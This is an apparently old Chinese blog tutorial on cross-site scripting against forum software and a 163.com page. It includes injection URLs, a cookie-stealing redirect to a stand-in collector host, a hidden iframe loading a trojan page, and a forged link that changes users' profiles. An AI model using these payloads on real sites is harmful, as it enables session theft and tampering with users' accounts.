css攻击技术初探

跨站脚本(Cross Site Scripting)攻击是指在远程WEB页面的HTML代码中插入恶意的JavaScript,VBScript, ActiveX,HTML,或Flash等脚本,窃取浏览此页面的用户的信息,改变用户的设置,破坏用户数据的攻击技术。跨站脚本攻击在多数情况下不会对 服务器和WEB程序的运行造成影响,但对客户端的安全构成严重的威胁,这主要是由于服务器对用户提交的数据过滤不完整造成的。

简单漏洞
我们举个最简单的例子,在动网论坛中提交:
HTTP://www.***.com.cn/newbbs/showerr.asp?Errcodes=<script>alert(.)</script>&action=otherErr 
便能弹出包含自己Cookie信息的对话框,
而提交:
HTTP://www.***.com.cn/newbbs/showerr.asp?Errcodes=<script>document.location=’HTTP://www.xxx.com’</script>&action=otherErr 
就能重定向到HTTP://www.xxx.com。 
由于在返回"Errcodes"变量的值给客户端时,脚本没有进行任何编码或过滤恶意代码,当用户访问嵌入恶意"Errcodes"变量数据链接时,会导致脚本代码在用户浏览器上执行,从而导致用户资料泄露等后果。比如下面的链接:
HTTP://www.***.com.cn/newbbs/showerr.asp?Errcodes=<script>document.location=’HTTP://www.xxx.com/xxx.asp?’%2b.</script>&action=otherErr 
xxx.asp用于收集后边跟的参数,而这里参数指定的是Document Cookie,也就是使用户的Cookie值提交到了xxx.asp中。
以 上的例子说明了CSS漏洞的存在,况且还可能实现不同的攻击。例如在一个News.asp中调入以上链接的框架,便能使用户在不知觉间交出自己的 Cookie。当然,跨站脚本从来就不仅局限于得到Cookie的一功能。只要HTML代码能做到的,跨站脚本执行漏洞基本都能做到。例如,在一个WEB 论坛用户注册页面中有以下的内容:
<td width="400">
<select name="face">
<option value="1.gif">1.gif</option>
<option value="2.gif">2.gif</option>
……
$face的值按照程序员的意图应仅设定在下拉菜单中供用户选择,但是事实上我们可以通过POST的方法直接指定$face的值骗过程序:
HTTP: //target/bbs/edit.php?action=reface&username=lt&face=11.gif">< iframe src=HTTP://target/木马页面.htm width=0 herght=0></iframe> <"&data=......
程序接到$face的值后未经过任何处理,便将它显示出来:
<img scr ="<? echo $face; ?>" >
显然,返回的页面中将会带上了一个零宽度的页面,这样造成的后果是不言而喻的。

漏洞实例
大家最关心的大概要算这个问题了,下面列举的漏洞危害可能并不全面,但应该是比较典型的:
获取用户Cookie中的敏感数据。
屏蔽页面特定信息。
伪造页面信息。
拒绝服务攻击。
突破外网内网不同安全设置。
与其它漏洞结合,修改系统WEB设置,查看系统文件,执行系统命令等。
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。
1.伪造页面
如 图2是一个伪造页面信息的例子,原理很简单:由于HTTP://photo.163.com/msg.php没有过滤$msg的内容,可以通过提交 "HTTP://photo.163.com/msg.php?msg=要显示的内容"来伪造页面。IE对GET的长度有限制,你可以自行创建一个表单再 用POST的方法提交,如:
<form method="POST" action="HTTP://photo.163.com/msg.php">
<input type="hidden" name="msg" size="80" value="
跨站脚本(Cross Site Scripting)<br>伪造页面的一个例子">
<input type="submit" value="查看" name="B2"></p>
</form>
以上的代码运行后仅显示出一个普通的"查看"按钮,由于我们把"msg"的Input Type设置为"hidden",从而将POST的内容隐藏了起来。以后,当用户点击"查看"按钮时,将会看到如图2所示的的伪造页面。

图2

2.获取其他用户Cookie中的敏感数据
既然CSS漏洞主要是由于服务器对用户提交的数据过滤不完整造成的,那么利用方法关键是找到可以向服务器写入信息的脚本。下面以WDB论坛为例子说明。
在WDB论坛中,当用户访问Wdbread.php文件时,返回的页面左侧会显示出发贴者"级别"、"来自"等信息,而这些信息是有作者通过Profile.php文件设定的。Wdbread.php返回页面显示用户"来自"的地方有这样一段代码:
<br>级别:侠客<br>
<br>来自:<img src=images/flags/china.gif width=21 border=0 height=14>
<br>门派:无门无派 
<br>经验值:<b>49</b> 点
……
而Profile.php返回页面有以下的代码:
<select name="userflag" size=1 onChange="showflag()">
<option value="China">中国</option>
<option value="Angola">安哥拉</option>
<option value="Australia">澳大利亚</option>
……
如果我没有猜错的话,Wdbread.php的处理用户"来自"的PHP代码应该是这样的:
<?
echo "<img src=images/flags/".$userflag.".gif width=21 border=0 height=14>";
?>
于 是我把Profile.php返回的页面保存到本地,将其中的一个"userflag"值改为China.gif>html代码<ima, 如:China.gif><script>alert(document.cookie)</script>< ima(如图3所示),然后提交。

图3
这时候再打开自已发过的帖,嵌入里面的代码便执行了(如图4所示)。

图4
提示:当WEB的脚本禁止从外部提交数据时,你可以用NC或者Achilles间接修改POST的数据。
3.修改WEB设置
笔 者以DVBBS为例,登陆HTTP://target/dvbbs/modifyadd.asp,再将该页面保存到本地,用记事本打开,修改表单中的: action="modifyadd.asp?action=updat"为: action=HTTP: //target/dvbbs/modifyadd.asp?action=updat,再将"method=post"一句改为"method= get",点击"更新"后得到类似以下的URL:
HTTP://127.0.0.1/bbs/modifyadd.asp?homepage=&Email=xxx@xxx.com&OICQ=&ICQ=&msn=&Submit=%B8%FC+%D0%C2
修改当前的URL为:
HTTP://127.0.0.1/bbs/modifyadd.asp?action=updat&homepage=&Email=xxx@xxx.com&OICQ=&ICQ=&msn=&Submit=%B8%FC+%D0%C2
最后再把这个URL伪装一下让论坛的其他用户点击,或者将链接在一个Main.htm上设置成零宽度的框架:
<iframe src=HTTP://target/bbs/modifyadd.asp?action=updat&Email=xxx@xxx.com&OICQ=&Submit=%B8%FC+%D0%C2 width=0 herght=0>
我想,以后只有论坛上正在登陆的用户打开Main.htm,那么他的用户资料就会被更改了。

CSS漏洞的利用方法是多种多样 的,建议你自己在网络上找一些相关的资料学习,如果有不明白的地方,可以到HTTP://www.hacker.com.cn的论坛上交流。关于CSS漏 洞的防范,从程序员来说,过滤或转换用户提交数据中的HTML代码,然后限制用户提交数据的长度就可以了;作为普通用户,不要轻易访问别人给你的链接,再 禁止浏览器运行JavaScript和ActiveX代码,整个世界就清净了! 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值